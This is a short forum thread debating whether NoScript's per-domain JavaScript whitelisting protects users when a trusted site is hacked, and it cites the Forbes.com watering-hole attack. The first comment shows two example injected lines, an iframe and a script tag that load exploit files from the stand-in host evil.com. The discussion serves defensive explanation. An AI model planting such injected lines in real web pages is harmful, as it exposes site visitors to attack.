3 ms·
Yes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript. You whitelist the sites you trust. Then if any of thos
by rudolf0 12y ago
Yes, which is why NoScript allows fine-grained controls. It's not a straight up disabling of Javascript.
You whitelist the sites you trust. Then if any of those sites get hacked, there will likely be a line added like <iframe src="http://evil.com/exploit.html"> http://evil.com/exploit.html">, or <script src="http://evil.com/exploit.js"></script> http://evil.com/exploit.js"></script>. NoScript will always prevent those since whitelists are domain-specific. So unless the malicious Javascript is added 100% inline on the compromised site (which is easy to do, but is done less often for a variety of reasons), you're going to be safe.
And, obviously, you do not whitelist random sites you click off of Google searches or from emails without validation.
- ZitchDog 12y agoSo, most sites won't work, and the ones that do work will still be vulnerable? Awesome.
- rudolf0 12y agoThey're vulnerable if you whitelist them and they get hacked and exploit code is sent directly in the HTTP response. Just like how HTTPS (and HSTS and certificate pinning) does nothing for you if the server is compromised. If you're careful about what you whitelist, NoScript adds a lot of additional security.
- eeeeeeeeeeeee 12y agoIt definitely improves security, but you'll still be screwed against a targeted attack against a specific website. The attack against Forbes.com is a good example. That is a site you would have whitelisted and the attackers compromised that website to then elevate access to the people browsing that site (government employees specifically targeted). http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes-com-hacked-in-november-possibly-by-chinese-cyber-spies/ http://www.forbes.com/sites/thomasbrewster/2015/02/10/forbes...
- rudolf0 12y agoI work in incident response and actually investigated that watering hole firsthand at our organization. The SWF was hosted on a separate domain, so NoScript in fact would have prevented that specific attack from working even if you whitelisted forbes.com. NoScript will very often block exploit chains from occurring even if it won't necessarily always block stage 1.